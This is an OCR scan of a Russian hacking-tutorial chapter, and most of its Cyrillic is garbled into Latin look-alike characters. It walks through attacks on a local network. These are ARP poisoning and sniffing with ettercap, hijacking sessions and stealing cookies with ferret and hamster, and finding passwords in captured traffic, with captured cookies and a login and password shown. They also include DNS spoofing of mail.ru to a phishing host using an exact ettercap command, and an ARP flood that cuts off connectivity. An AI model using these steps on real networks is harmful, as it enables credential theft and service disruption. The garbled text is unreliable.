BIIOJIHE paboTococoOHa, XOT U He Tak (yHKIMOHANIbHA, KaK Ta, O KOTOPOH MBI HalM-
caJy.

&¥ bash

[*] Warmng: &
2

*] Init

*1 Initial

] Ltaunching th
all with

1] IWFD 'WEE

€ # [1127.00.1:5555:

’* Exploits Q,, Auxiliaries “ Payloads

Puc. 5.19
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Kax 651 HM GBUTH XOPOIIM MPOrPaMMBI [yl PHMEHEHHST SKCIUIONTOB, BCe JKE C 3THM He
BCE TaK MpocTo. Bo-nepBrix "kpyToMy" xakepy HyXeH SKCIUIOHT, HalpasJieHHbI Ha ysi3-
BHMOCTb, €II¢ He NONYHYMBINYIO ITHPOKYIO OIJIacKy (KCTaTH, XaKephl IOJAIOT MX ApYT
JpyTy 3a J€HBIH, IO3TOMY He MINHTE MX AapoM B MIHTepHeTe M KHMrax). Bo-BTOpEIX, ec-
JM TIOJTB30BATE/b TIOCTABHT BCE MAT4M, obecreunBaiomue 6e30acHoCTs, CANET 33 ABYMA
daitpsonaMu (Wt XOTA GBI He OTKIIOYMT OJMH CHCTEMHLIH), GyeT IIPAMEHST CIIOXKHEIE
[apoJi (1a ele | pa3Hble IS PaIUYHBIX CHCTEM), HAUHET UX NEPUONHMYECKH MEHATH,
YCTAaHOBHT AHTHBHPYCHYIO MpOTpaMMy, HE CTAaHET MOJJABaThCA HA MPOBOKALMOHHLIE
CCBUIKH, TICPEHANPaBIIAIOIHe Ha (PUIHHTOBBIE CAalThI, BHUMATE/IbHEE OTHECETCS K MHCH-
MaM ¢ BO3MOXXHBIMH OHACHBIMH BJIOKSHHWSAMH, TO TYT YX HY)XHO CHIIBHO IIOCTapaThCd,
YTO0OBI POHUKHYTH Ha €0 KOMIIBIOTEP.

B 3ToM 1wiaHe HHTEPECHO TO, 9TO B JEHCTBUTEIHFHOCTH CYMIECTBYIOT pealH3aliiH J0CTa-
'TOYHO TIPOCTHIX aTak JaXe H B MOAOOHBIX ciaydasx. Harmpumep, BOT Ha 3TOM caiite npex-
CTaBJIeH OPMTMHAJI CTAaThH, B KOTOPOM OICaHa AaBHO M3BECTHas aTaka, MO3BOJIOMA
€cJIi He B3IoMaTh SSL-NPOTOKOI, TO XUTPO OGOMTH €ro 3a CUeT NPUMEHEHHs yxe 3Ha-
komoro BaM ARP-criy¢uHra 1 ¢ MOMOIIBIO MPOrpaMMEI sslstrip:

http://www.windowsecurity.com/articles-tutorials/authentication_and_encryption/
Understanding-Man-in-the-Middle-Attacks-ARP-Part4.html

A BOT301€Ch €€ PyCCKHiA IepeBO:

http://www.redline-software.com/rus/support/articles/security/authentication/
man-in-the-middle-attacks-part4.php

CaMOCTOSTEIEHO TIOBTOPHTH aTaKy, OMMCAHHYIO B CTATHE, HE COCTABUT GONBINOrO TPYAa,
T. K. BBl §7ke HayqwIuck nonb3oBathes BackTrack (wm Kali Linux). Peamasaim sslstrip
mwis Windows net. IIpasaa, Bot 3ech Hekwit Gilbert Lee yTBepxzaet, 910 y Hero sko6st
ecTb Bepcus 1 g Windows:

http: //www yontube.com/watch"v=41eY9ID1ejQ

Ho, nogemy-To ynpsmsiii Gilbert Lee 3Ty mporpaMMy HMKOMy HE HaeT, XOTS HpH 3TOM
€ro pomk cobpan H3psIHOE KOJIMIECTBO MPOCMOTPOB,

Msi iogpo6HO paccMaTpuBaTth sslstrip He OyzeM mpocTo MOTOMY, YTO BpsZ JIHM Y Bac Ho-
Jy9UTCs OCYIMECTBUTH TECTOBYIO aTaKy cocoO0M, OMMMCaHHBIM B 3TOM CTaThe, IPUMEHAA
B Ka4eCTBE JKEPTBHI KOMITLIOTEP ¢ KaKOH-HHOYAh COBPEMEHHOM ONEpalMOHHOM CHCTEMOM
Windows. A eciid B Ka4eCTBE CAMOCTOSTe/IbHO j1laboparopHoii paGoTH! BBL BCe ke OTBa-
JKHTECH Ha SKCIIEPUMEHT, TO Bce Xopomo cpaboraer Tonbko Ha Windows XP He Gonee
YeM ¢ nepBBIM cepBHcriakoM i MS Internet Explorer 6. O6 stom B HHTepHeTe MoueMy-T0
YMaTYHBAIOT.

XoT4 B OTHOIICHWM 3alUIIECHHLIX IPOTOKONOB M CYIIECTBYET MHOIO KPHUTHKH, TEM He
MeHee, Bce PaBHO 3a mmdposanrem — Oynaymee! IlonsaTHo, yro mudpoBaHHe camo Mo
cebe TpeOyeT NOBBIMIEHHBIX PECYPCOB BBHIYMCIIMTENFHOH TeXHUKH. M rae ske UX B3ATh?
Cxopee Bcero, MbI Kak BCeT7a HE 3aMedaeM To, 9TO YIKe JISKHT 1ol HoramMH. BemoMHuTe,
KaK HEOXHMIAHHO HAYald NPUMEHATh cBoicTBa BHAcOKapT (TexHonormn CUDA
OpenGL). Ho 1 310 eme He Bce! OxaspiBaeTcs, CKOPOCTh BBIYHCIIEHHH Ha JIOGOM BameM
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KOMITBIOTEPE MOXKHO IOBBICHTH (BBl IIOpa3sHTeECh — B JECATKH Pa3), HCIIONB3Ys CBOMCTBA
CErOAHAIHMX mnporneccopoB. [lounradite 06 3ToM crarteio "Cummerpuunsiii TOCT Ha
AVX xoMaHmax":

http://vk.com/id184633937

Ho BepHeMcs k HameMy pasroBopy. CyImecTByeT HEMaJlo HHTEPECHBIX CIIOCOOO0B, YTOOHI
3aKpelHTh YCIEX, €CIIN XaKep y»Ke Ionajl BO BHYTPEHHIOIO CeTh JkepTBhl. Ha ToM e yxe
YIIOMSHYTOM caiite, rie pacmojiaraercs CTaThs Npo B3JIoOM C npuMeHeHueM ARP-
cnydunra ¥ sslstrip, ecTh pacckas M 0 TOM, KaKk C MOMOMIBIO TAKOW TEXHOJIOTHH 3710-
YMBIIUICHHAK-MOX€ET OPraHM30BaTh y)K€ M3BECTHYIO HaM Mo 2naee I araky man-in-the-

middle (MITM):
http://www.windowsecurity.com/articles-tutorials/authentication_and_encryption/
Understanding-Man-in-the-Middle-Attacks-ARP-Part3.html

TaxkuMm o6pa3oM, Kak yka3zaHO B 3TOH CTaThbe, 3JIOYMBIIUIEHHUKY MOXXHO He cliella Io-
M3ydaTh aTaKyeMyIO CEeTh M PaHO MIIH IO3HO BEIyAWTH BeChbMa MOJE3HYI0 MH(OpMALIIO
C LENBIO JATFHEHIIEro MpOHUKHOBeHUs. I MBI ¢ BaMH, ¢ Henbi0 00ydeHus, B Ka4ecTBe
IpaKTHYECKOro NpyMepa MpoBefieM IepeXBaT ceaHca M Kpaky cookies (€CTECTBEHHO,
y caMuX cebs) Ha TecTOBBIX KoMmmbloTepaX. IIpaBma, B TOUHOCTH BCE MOBTOPATH, Kak
OIMUCAHO B cTaThe, He Oynem. U o6pacHUM — modeMy! Bo-nepBhiX, B yka3aHHO#H cTaThe
JaXe HeT KOHKPETHHIX pa3bsCHeHWi, kak B Linux ObUT OpraHM3oBaH 3aXBaT MaKeTOB
¢ "npuMmeHenneM TexHukd ARP cache poisoning”. B 3ToM miaHe ecTh TONBKO CCBUIKA Ha
HepBYIO CTaThIo 3Toro muKia. Hy a B mepBoii craThe BoOOmE-To TEXHOJIOTHS ObLIa OIMH-
caHa ToibKo W11 Windows... Bo-BTOPEIX, B CTaThe €CTh HETOYHOCTH B KOMaHJaX, KOTO-
pbie IS 4eNOBEKA, HMKOTAA paHee He 3aHMMaromerocs Linux, 6y/IyT HETOHATHEIL, He3a-
METHBI.

Hrak, HaudeM! YV Hac ecTh /iBa KOMITBIOTEpa, HONKIIOYEHHBIE K POYTEPY MOCPEACTBOM
BUTOH nmapel. OMH KOMIBIOTep — HalNaJalomuii, APYTOi — >KepTBa. 3arpy3uMcs ¢ Ouc-
ka Kali Linux Ha HanagaromeMm koMmbioTepe. B CBA3d ¢ BO3MOXHOI OrpaHH4eHHOCTBIO
B JIOMAIIHUX YCJIOBHAX TeXHMYECKUX cpeAcTB ¢ Wi-Fi-kapramu Bce HCIIBITaHUS MPOBEIEM
¢ npumeHenreM ceteBbIX KapT Ethernet. Ho Gynem yuMTEIBaTE, 9TO B peanbHOH XKH3HH
1 cet Wi-Fi xakep nenaer Bce TOYHO Tak e, TONMBKO B KOMaHIax BMeCTO HHTepdeiica
ethO Be3ne yxasemaer wlan0. Kpome Toro, ecim Ethernet-ceTs, ckopee Bcero, y Bac 3apa-
6otaer cpasy, To k Wi-Fi-cet1 eme Hy>HO GyeT NOAKTIOUMTECS, IS 9€T0 CIEAYET BbI-
GpaTh COOTBETCTBYIOLIMIA 3HAUOK B IIPABOM BEpPXHEM YTy paGodero cronma (cm. znasy 1)
U [anee 1ocje yKasanus B cicke Tpebyemoro SSID emme BBeCTH Mapodib.

3amyckaeM 3aMedaTenbHEI CHHQdep ettercap, obecrneduBaromuii (Hapsmy ¢ OpyrEM
GonpIIMM KOMHUeCTBOM Bo3MOkHOCTei) ARP-cirydunr. [iiis storo B Merio Applications
HaxoquM koMaHny Internet u nanee Ettercap (MoxHO pasmcxan, MporpamMMy H B TpyTI-
ne Kali Linux, Ho 310 fOMBIIE), pHC. 5.20.

Ilocne 3amycka mporpammel B MeHio Sniff BeiGupaem Unified sniffing..., 3atem B pac-
kpbiBaromeMcs ciicke Network interface ycranapnusaem eth0 (wlan0 s Wi-Fi), Ha-
sumaeM kronky OK (puc. 5.21).

Hurepdetic mporpammer usMeHHTCA (pHC. 5.22).
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Puc. 5.21

Puc. 5.22

B mento Hosts Haxofum Scan for hosts. IIpomsoiiner ckaHMpOBaHKE BCEX XOCTOB H3Y-
gaeMo# cetu. Ha Biuiagke Host List 310 MoxxHO niocMoTpets. B HameM ciydae ux Oyzer
Kax MHHMMYM TPH: POyTep, KOMIBIOTEP-KEPTBA H KOMIIBIOTEP aTaKyromere (puc. 5.23).
Ilepexonum B MeHio Mitm mporpammel, U Jajee Arp poisoning, gepe3 menio MITM
Attack: ARP Poisoning B rpyrme Optional parameters ycranasmiBaem ¢iiaxox Sniff
remote connections. Haxumaem xnonky OK (puc. 5.24).

IMpomomxkum: B Mero Plugins, nanee Manage the plugins BeiGupaem dns_spoof Tak,
9T06bI HAMIPOTHB 3TOTO IUIArMHA MOABHIACH OTMETKA B BHAE 3Be3409KH (pHc. 5.25).

U nakoHen, B MeHIO Start BoiOupaem Start sniffing. Bee, cauddep roros! Ero moxHO
OTOJBHHYTH B CTOPOHY.

Hanee mna 3amycka mnporpammel ferret Ham moHamoGuTCA Tepmmmmaa ceccus:
Applications | Accessories | Terminal. Bemmomsaem xomanmy:

ferret - i ethO



SaxmoyumenbHbIl YUK 3/10yMbILWURGHHUKE, Unu Ymo 0enaem xakep rocne eanoma Wi-Fi-cemu * 123

$192.168.0.1 74:EASAE4:5A:C2
192.168.0.100 90:28:34:1D:C8:C9

192.168.0.175 00:16:E8:49:34:8A

Puc. 5.23 Puc.5.24 '

arp.cop 11 ﬁepnrt suspicious ARP activity

autoadd 1.2 . Automatically add new victims in the target range
chk.poison ‘1.1 Check if the poisoning had success
. dos.attack 1.0 Run a d.o.s. attack against an IP address
dun&ny 3.0 A pltugin template {for developers)
find.conn 1.0 Search connections on 3 switched LAN-
find.ettercap 2.0 Try to find ettercap activity
find_ip 10 Search an unused IP address in the subnet
Puc. 5.25

KoneuHo. xe, He 3abbBaeM B cnyqae ecu y Hac Wi-Fi-cetp, BMecTo eth0 3amucarn
wlan0.

I

3meqaeM 9TO B OKHE TEPMHHAIBHON CECCHH C BBITIONHAEMOM mporpammoii ferret "1
OexuT" HHIMKALMA NEPEexXBaTHIBAEMOro C KOMIBIOTEpa KEPTBHl Tpaduka (mm C He-
CKOJIBKUX JKEPTB, €CIIH XOCTOB B aTaKyeMO# CeTH MHOT0), PHC: 5.26.

TakoKke OTOZIBMHEM TOKa 3TO OKHO B cTOopoHy. Y1 BHOBE BEI30BEM TEPMHUHAJIBHYIO CECCHIO!
Applications | Accessories | Terminal, BBeeM koMaHIy BBI30Ba IIPOrPaMMBEL:

hamster .

INosBurca cooblmeHue, BRIBOAUMOE mporpamMmMoii hamster, BHagane KOTOpOro HaImMCaHO
"Set browser to use proxy http://127.0.0.1:1234" (prc. 5.27).

To ectb, HaM mpeTaraeTcs 3amycTUTh Opaysep, rie B KadecTBe aapeca Halo yKa3aTh
JokanbHBIN XocT U .nopT 1234. IlomoxkneM HexkoTOopoe BpeMs, 4roObl "HaJOBUTH" MO-
Gonbie cookies. B 310 Bpems, [uis yCKOpeHHS, ¢ KOMITBIOTEPA JKEPTBHI MOKHO TTOCETHTS -
pasnuyHble calThl, TpeOyromue asropmsaimu. Jla! M mocerure eme kakoi-HubymB do-
PYM, TZe He IpHMeHseTcs M poBaHKe MPOTOKOJIA IPH aBTOPHU3ALAH.
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root@kali: » ’ )

File Edit View Search Terminal Help

auch file or d

Puc. 5.27

Haxkonern, 3amyctim Opaysep, kak u Tpebyercs. Jlerue Bcero 3tTo cuenarth, €CIM yKa3aTh
KYpCOpPOM B TEPMHHAJILHOM OKHe Ha Haamuch "http://127.0.0.1:1234" u, menkHyB npaBoi
KHOMKOH MBIIIY, B IIOSBUBIIEMCS MEHIO BEIOpaTh komanay Open Link. .

Ecii Bce GBLIO MPABHIBHO, TO BHU3Y CTpaHMIIBl YBUAUM CCBUIKY Ha HY>KHbIC HaM J1aH-
Hble, noMeueHHbie IP-agpecom sxepTBEI (puc. 5.28).

Ho npexie YeM HepeifTH 1o CCBUIKE, BBICTABMM ‘aHAJIM3UPYEMbIH UHTepdeFic: st 3TOro
TpebyeTcs: MIEeNKHYTh 10 CchuUlke adapters Ha 3TOM jKe CTpaHHLE B 6pay3epe U Janee
ykazats etho0 (v wlan0 gns ceru Wi-Fi), puc. 5.29.

ITocne yero BepHeMCd B HayaJlbHOE OKHO M IIEJIKHEM IO CCBUIKE, IIOMEYECHHOH
IP-angpecom >xepTBEl. ClieBa Ha 3KpaHe Bbl ¥ YBUAMTE CCHUIKH, COOTBETCTBYIOLIHE ITOCE-
IMaeMbIM JKepTBOH pecypcaMm Ui NiepexBadeHHbIX Hamu cookies (puc. 5.30).
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= e e
o ] HAMSTER 2.0 SideJacking
. i o
[ adapters | help ]

no

STEPS:In order to sidajack wab sessions, follow these
ClO | steps. FIRST, click on the adapter menu and start -
sniffing. SECOND, wait a few seconds and make sure
tar packets are being recsived. THIRD, wait until targets
‘4-appear. FOURTH, click on that target to “clone" it's
- session. FIFTH, purge the cookies from your browser
Jjust to make sure none of them conflict with the cloned
No targets. again .
targef] TIPS: remember to rafresh this page occasoinally to see
has gpdal:es. and.make sure to purge all cookies from the

rowser

::1?;;@ WHEN SWITCHING target, rember to close all windows
yot in your browser and purge all cookies first

Status .
Proxy: unknown
Adapters: none

;

Packets: 0 | |== | tSubmit] button. This adapter must su|
. mode monitoring. You may have to firs|
Database: 73 no adapter on the command lins, espéecial
Targets: 1 l )
- ClO| oo | (submit Guery |
. . ta 4
Puc. 5.28 Puc. 5.29

[ adapters | help ]
STEPS:In order to sidgjack

LCTOKIEET web sessions, follow these

steps. FIRST, click on the

» htlp: - adapter menu and-start
sniffing. SECOND, wait a few
+ htip://autocontext.begun seconds and make sure
Onier pad_id=33907; || nackats are being received.
block_10=2%2(.3593404448 ] THIRD, wait until targets

Imt=1375937940& appear. FOURTH, click on
Json=1& that target to "clone" it's
Iscall=loadFeedDone& session. FIFTH, purge the
frm_level=1& ) cookies from your browser
Jjust to make sure none of
them conflict-with the cloned
targets. again
q=0&rq_sess=70080397 TIPS: remember to refresh
this page occasoinally to see
updates, and make sure to
purge all cookies from the
browser ’

N . WHEN SWITCHING target,
240x400-1 .htm1%3Frnd% rember to close all windows
. in your browser and purge
QOKIE Ire
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U uTo6hl cookies uMTATHCh B yOGHOM BHE, Hy)KHO IIEIKHYTH Ho- é%mi;e [cookies]
‘B JIEBOM YacTH CTpaHUIIBL, a jajiee B aJpeCcHOM cTpoke Opaysepa 3aMeHMTE Cj10BO hamster
Ha 127.0.0.1:1234, 1. e. anpec AOJDKEH CTaTh TaKHM:

127.0.0.1:1234/cookies.html?instance=

Iens gocturHyTa. B okHe Gpaysepa GymeT CIHICOK BceX cookies ¢ JaHHBIME OT moOce-
HIaeMBIX JKEPTBO# caifToB (puc. 5.31).

' |Cookie Info: 192.168.0.100

[autocontext.begun.ru]

"« jcontext.jsp
o uuts = AvrJyMttHQEvySWFRYLKnjBgFNxnmrOs
o usertag =
o uuid = 78b8e26d-c377-4a83-9710-a8a5eb17e881 -

[counter.yadro.rul

¢ /hit
o VID = 2eWtBw3gl6rF1Jxrs6

[counter.rambler.ru] ~

» /topl00.scn
o ruid = PUQMBohr71 NJBWAAAQ76RQB=
o rha = 89263b5d1159c4b2652861d66ef54010
o nrup = TTuEJEWXHICEIVmz4JerbA
o rup = AADV]gxTo-pbh2CAFLPW43w_
o rlogin = ronovha87pas
o rdomain = rambler.ru
. .o rsid = 18321d55e0e9d5705e9d219d376a0176
o rmadflag =1

Puc. 5.31

Ho u 310 eme He Bee! Jleno B ToM, 9to cHE(dep coxparmr Gl ¢ 3aMHCaHHBIM, LeJTH-
KOM TNepexBayeHHBIM TpadukoM xkepTBbl (M3 KoToporo ferret BhIOMpan B TEKCTOBBIM
¢aitn TONMPKO HyXXHBIE AaHHBIe, IPeICTaBICHHbIE B OKkHe Opaysepa). Paiin sniff-
ZaTa.pcap HaXOOHUTcs B /root.

JaBaiiTe 3aIycTHM yxe U3BecTHBIH Ham B cpene Windows cauddep Wireshark u ¢ ero
MOMOIIBIO OTKpoeM pcap-(aiti. A TaM caenaeM MOKMCK IO CIIOBY passw. Ml 310 yxke
yMeeM fenath: cM. puc. 2.15, 2.33 (T. K. MBI HIIEM CJIOBO B TEKCTOBOM, a HE B LIECTHA-
JUATEpHYHOM BHJE, IIPU MOMCKE €CTh OCOOEHHOCTH: CJIOBO MOXKET OBITH NpPEACTaBICHO
B "pa3zopBaHHOM" BHJE, IOITOMY MCKaTh JIydIle II0 YaCTH CJI0Ba M HHOT/IA HYXHO IPo6o-
BaTh pa3UdHbIe ero 4acT). TakuMm o6pa3oM, HOMOIHUTENBHO K 3aXBaueHHBIM cookies
BBl HaliZleTe aKKayHTHI ISl OCENIAEMBIX JKEPTBOM PeCypcoB, Iie HeT UdpoBaHus Tpa-
¢uka. B yactHOCTH, B  mpHBeAeHHOM Ha puc. 5.32 ¢parMeHTe IepexBadyeHbl JIOTHH
Gray_Gray u napois effurhoES8.
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Sniff-2014-08-16-eth.pcap: [Wireshark ]

File Edit View Go 'Cwme'—:AMWié ‘Statistics Tetephony Tools Internals Hetp
% e @;. € 2T &

Filter: | ' NI . w Expressmn

: , - i ! 3 i
Mo Time : Source Destination ¢ Protocol | Lengtl : Info

Packets 2010 - Dis... Proﬁle: Deraul

Puc. 5.32

C cookies eme npugeTcs Hemaio nopaboraTe. A TyT, 3Has JIOOMMYIO IPUBBIYKY MHOTHX
TIPUMEHATH BE3[e OMMH H TOT XK€ MapoJib, MOJyYeHHOW MHPOPMALMHA MOXKET OKa3aThCs
Gonee yeM mpenocraTtoyHo. Hanmomuum eme, 9ro npu ucnois3oBadud Kali Linux, eciou
y Bac cpaboTaeT XpaHWTENb 3KpaHa, TO MO YMOJMAHMIO VTS MOJIB30BATeNs root mapoib
toor.

3akaHuMBajg paccMaTpHBaTh IMPUMEpPHI Haubollee W3BECTHBIX, a 3HAYUT, U OoJsiee MOIMy-
JSIPHBIX aTaK, IPOBOAUMBIX XaKEPOM C LEJBI0 YCHIUTh CTENeHb IPOHUKHOBEHMUS, HElb3s
He ynoMsHyTh Meto] ¢ ogMeHoit DNS. Tem Gonee, 9ro uis 9THX meneit nomoHaeT yxe
TeTeph 3HaKOMas BaM Iporpamma ettercap. it Toro 4ro6sl BEINOIHUTE 3Ty aTaky, Tpe-
Oyercs moaxoppekTupoBath (aiin ettercap.dns. B Kali Linux nporpamma ettercap Haxo-
aurcs B manke /ust/share/ettercap. Ho mockonbky ¢aiina ettercap.dns B HeM He okasa-
JIOCh, JUIS TOro YTOOBI OBICTpee BBHITIONHUTH TpeOyeMyto 3afady U He uckath daiin B Un-
TEpPHETe, MBI NPOCTO OBICTPO Iepe3arpy3WIMCh, HO yXe€ C H3BECTHOTO BaM JIMCKa
BackTrack 5. B stom Linux ettercap pacmonaraercs B mamnke /ust/local/share/ettercap.
Haxomum caiin ettercap.dns m B HeM BHIMM TpPH 3allMCH B OTHOIICHWH PECYpCOB
Microsoft (puc. 5.33).

INpaByM 3TH 3aNKCH Ha TEKCT HY)KHOTO HaM COJZIEpXKaHUA: cyieBa Oy[eT calT, KOTOphIi
XOTHM MOJIMEHUTb, a cripaBa — [P-agpec noxkHOTrO caiita (T. e. XocT, rae Oyaer pacnosna-
ratecsi (UIIMHIOBBIM caiiT). B 3TOM mpumepe, 4To0bI GBUIO BCE TOHSTHO, MBI IIPOCTO
noaMeHuM mail.ru ceouM caiftoM mo agpecy 192.168.0.100 (puc. 5.34).
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: the wildcarded hosts can’t he used to poison the P
so if you want to reverse poison you have to speci
host. (losk at the wwuw.microsoft.com example)

L
[REiaiigigizinidididid it dRR Bt SRR 203 3113121312121 212131813 2101818

EREBRSRFHBHI R $123181213:13121313:318:8101818 1)
i microsoft sucks ;>
i redirect it to wuww.linux.oryg

A 198.182.196.56
fA 198.182.196.56
PTR 198.182.196.56 “##,/ﬂ Uildeard S

(SR IRIE R iR iRiBiRiBraisiRiSihiRiiRiRigiRigty g diaiaifiaigisiizidinizin:dis: o
no one out there can have our domains...

R ;. alox.org A 127.0.0.1
e .naga.org A 127.0.0.1
Ju.naga.org  ARAA 2001:dh8::2

Puc. 5.33

,m
T R R R R SRR G R R R R

Bt R R
# microsoft sucks ;2

# redirect it to www.linux.org

it

mail.ru A 192.168.0.100
i*.mail.ru A 192.168.0.100
s.mail.»u PTR 192.168.0.16G0 # Wildcards in PTR are

fimtnnuuﬁﬁwnmxunnwnnnnnnnunnnuﬁnnunﬂunnuuu
l# no one out there can have our domains...

i

! m.alor.org A 127.0.0.1
wuw.naga.org A 127.0.0.1
wwv.naga.org  AAAA 2001 :db8::2

Puc. 5.34

IIpu momo6Ho# koHUrypamuu Bce oOpamenus Ha Mail.ru OymyT nmomagate Ha agpec
192.168.0.100, rae pacmosiaraeTcs HamI, COBCEM APYTOM CailT.

Jlanee 3amyckaeM TepMHHaNbHYIO ceccuio (Applications | Accessories | Terminal) u
3a71aeM B MOSBHMBIIEMCSI OKHE KOMaHIy (/11 pa3sHOOOpasHs B 3TOT pa3 He Oy/leM HETIONb-
30BaTh rpaduueckuii uaTEpdEiic):

ettercap -i ethO -T -q -P dhs._spoof -M arp // //

Ha puc. 5.35 mpezcrapieH CKpHHIIOT 3aIlycka IporpamMMEl ettercap.

He 3a0piBaem, 4To ecii MBI IpoBoAMM dKcriepuMeHT B Wi-Fi-ceTH, TO, BO-TIEpBBIX, IpH
3arpy3ke Linux Hy>XHO CoeIMHHUTBCS ¢ CEThIO, @ BO-BTOPBIX, BMECTO apryMeHTa eth0 Oy-
JIeM CTaBHTh apryMEHT wlano.

ECJ’IPI XaKep OCyIIECTBILACT HO)IOGH}’IO aTaKy u3 BHEIHEH CE€TH, TO OH HC 6yJIeT ImpuMe-
HATH apryMEHTHI //, IOTOMY YTO 3TOT CHHTAaKCHC IOApa3yMEBACT BCE KOMIILIOTEPHI CETH.
B Takom CJIy4dae 3JIOYMBIINUICHHHUK 3aaCT KOHKPETHBIC IP-aJIpeca XOCTOB.

ITocne ycnemsoro 3amycka ettercap.exe y)ke Ha KOMITbIOTEpe->KepTBe (34ech Y Hac 3TO
ObUT TecTOBBIM KommbloTep ¢ HeoOHOBsBIIekHcs Windows 7) oOpamaemcs B Opaysepe
K Mail.ru. B pesynprare nomagaemM Ha noAMeHeHHbIH caifT (puc. 5.36).
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root@bt: ~ 75x326
:~# ettercap -1 eth® -T -g -F dns_spoof -Marp /7 //

ight 2801-2811 AlcR & NaGA

2B8:34:80:(8:98 192.168.6.175 255.255.255.

‘redir_command_on' script in the etter.
55534 GID €5534...

Randemizing 255 hosts for scanning...
Scanning the whol pask for 255 hosts. ..

GROUP 2 : ANY (all
Starting Unified sniffi

Puc. 5.35

B 310 Bpems B TepMHHAJIbHOM OKHe, IZie 3allylieHa Imporpamma ettercap, HOSBISIOTCS
coobmeHus o npoucxomsameii moamene (puc. 5.37). ;
A ecii y Bac HUYEro He IOJy4aeTcs, TO IMPOCTO Ha KOMIIBIOTEPE KEPTBBI €le HE OYM-
cruics ko, KoHeuHo ke, kak Bcerna, Hurae B MaTepHeTte 510 He o0BsiacHieTcd. i yc-
KOPEHUsI OYMCTKH K3IIa, 9ToObI HE XKaTh, B KOMAaHIHON CTPOKE BBl MOXETE BBECTH CJie-
IYIOIIYI0 KOMaHLIy:

ipconfig /flushdns

Takum 06pa3oM, ¢ OMOIIBIO ettercap xakep ocymectsisier crydduur DNS u Moxer
HOACYHYTH JK€PTBe 000 (HIMHIOBBIN CaiT, a ckopee BCero, Aaxe He onuH. IloaHATh
HECKOJIBKO BHUPTYaIbHBIX CEPBEPOB, HUCIONB3Ys, Hampumep, Apache (MblI 31ech 3TOro
paccMaTpuBaTh He OyneM), 3MOyMBIIUIEHHHK MOXET NpSAMO Ha CBOEM e HOyTOyke,
C KOTOPOTO OCYIIECTBIISET B3JIOM. A Jajiee OH yKpajieT Y4eTHbIE IaHHbIe Hauboiee mo-
MyJIAPHBIX NOCENIAeMBIX >KepTBOi pecypcoB MHtepHera. ITpumep. opranmzaimy puiuH-
TOBOT'O caifTa MBI y)Ke U3y4ayu B 21dee 1.

ITpoGpaBiuck B 4yXXylO CeTh, 3TIOYMBIILIEHHHK BOBCe He 00s13aTeNbHO KpazneT HHpOp-
Malyio, napoiH... Ero nempio MoxkeT OBITh MPOCTO MOXYJIMIaHUTh, pasBiedbes. C onHIM
U3 TaKUX IIPHEMOB MBI C BaMH pazbepeMcs, coOpaB crieTylOIuii CTeH .
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"B cBeTe pamiibi - MIHOBEHbLS KM
fiefaroroB TeaTpan-HOro OTASNeHURA K
AeTckoro Teatpa “lepexpectd

THABHAR CTPAHIMUA

MCTOPHUR COBHAHNA
COCTAB TEATPA
HAUM NPEANOKERNSA
KONAEFAM
HEMHOTO ©®0OTO 4
HEMHOTG ©OTO 2,
PEREPTYAP 1 T
FIONIESHAR Vi q
NOAESHBIE COBIMM

EAALANES TSRS R A TSI Y

LI I B

RN S

Puc. 5.36

dns spcot: [mail.ru) spocted To |
dns spoof: | .mail.rul spoof
dns speof: [rs.meil.ryl spoofed

dns_spoof: |
dns_spoof: [portal.mail.ru}l spoofs
dns spoof: [filin.mail.ru] spoofed to [192.168.8.168

Puc. 5.37

B kavecTBe JKEpPTBBI ompeienuM kommbiotep ¢ IP-ampecom 192.168.0.171 u MAC-
anpecom 0C-60-56-69-2C-76. Orot koMmbIoTep obimaercs ¢ BHemHe# cetbio (MHTepHE-
TOM) yepe3 poytep c afgpecoM 192.168.0.1 u MAC-aapecom 74-EA-C2-E4-5A-3A, koto-
pbiii B OyIeT U1 Hero NUTI030M MO YMOTYaHHIO.

Bo Bpems pa6otel ¢ iHTepHeTOM, T. K. IUTIO3 33]eWCTBOBaH, TO KOHEYHO ke HHpOpMa-
s o ero MAC-aznpece nossurcs B k3me ARP- koMmbioTepa, mpearonaraéMoro HaMu
B Ka4yecTBe >kepTBbl. B 3TOM serko yoemuTscs, HabpaB Ha 3TOM KOMITHIOTEPE COOTBETCT-
BYIOIYIO KOMaHIY arp -a (pHc.-5.38).

CeiMUTHpYEM aTaKy, MCIONB3ys y)K€ HM3BECTHble HaM Hezmoctarku mporokorma ARP.

C »T10i1 LIeNbI0 MPUMEHUM HPOrpaMMy, KOTOpas BCKOJIB3b yKe YIIOMHHAJIach HAMU paHee:
Ip Tools (aBTop — OpBan JI. (Erwan L.)).

IIpoBons mpenBapHTENbHBIE WCCIIEAOBAHUSA CETH M B TOYHOCTH YMOAOOJAAICH BOOOpa-
KaeMOMy Xakepy, NMEPBOHAYAIBHO IOMYYMM TOJHYIO KapTuHy 1o BceM IP- m MAC-
azpecaM B HameM cermeHTe ceTd. C 3TOil LeNBIO 3aIlyCTUM HMMEIOLIHICS B MporpaMme
ARP-ckanep nns Bcex xoctoB cetd 192.168.0.0. Brmonnsercs 310 B MeHo Tools |
ARP | ARP Scan/MAC to IP (puc. 5.39).
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E:\Users\1>arp —a

Hiatepoenc: 192.168.0.171 ——— Oxd
agpec 8 Huvepueve Duzuueckuu agpec
192.168.0.1 ?4-ea-c2~-e4-5a-3a DMRaMUYECKHH

Puc. 5.38

Mac Addresses Discovery

11792168, 0 . 0

19216801 7AEAC2E45438  Tpiink Technologies...
92.168.0.100 EOB75-2FARAS Azurewave
92 2C76 Hai Precision In...

, Puc. 5.39

OO6Hapy>eHBI TPH XOCTa: IUTI03 (poyTep), KOMIBIOTEP, C KOTOPOrc IPOM3BOJUTCS aTaKa
(192.168.0.100), u xxeprra (192.168.0.171).

Hcnone3ys nporpammy IP Tools, pasomutem mo cern noxusle ARP-makersi, coobmas -
BceMm HecymectByromuii MAC-anpec.00-19-66-93-29-2B. bynem ucnone3osate ARP-
naker Tuna "Reply”. Yro6bl 510 cooGIIeHHre Nonajaio Ha BCe XOCTH, B KayecTse MAC-
anpeca Haznauenus (MAC DEST) ykaxem FF-FF-FF-FF-FF-FF (puc. 5.40).

TMocne HaxaTHst KHOTIKH Start y BCeX KOMIIBIOTEPOB B aTAKYEMOM CETMEHTE CETH, B TOM
YMClie y Halle XKepTBbl, epectaHer paborate MuTeprer. [Iponsoiaer 310 MOTOMY, YTO
B KayecTBe IILTIO3a B ARP-TaGHPIuax KOMITBIOTEPOB Oy/IET yokKe COBCEM JAPYTOif, JIOKHbIN
MAC-a;(pec (puc. 5.41).

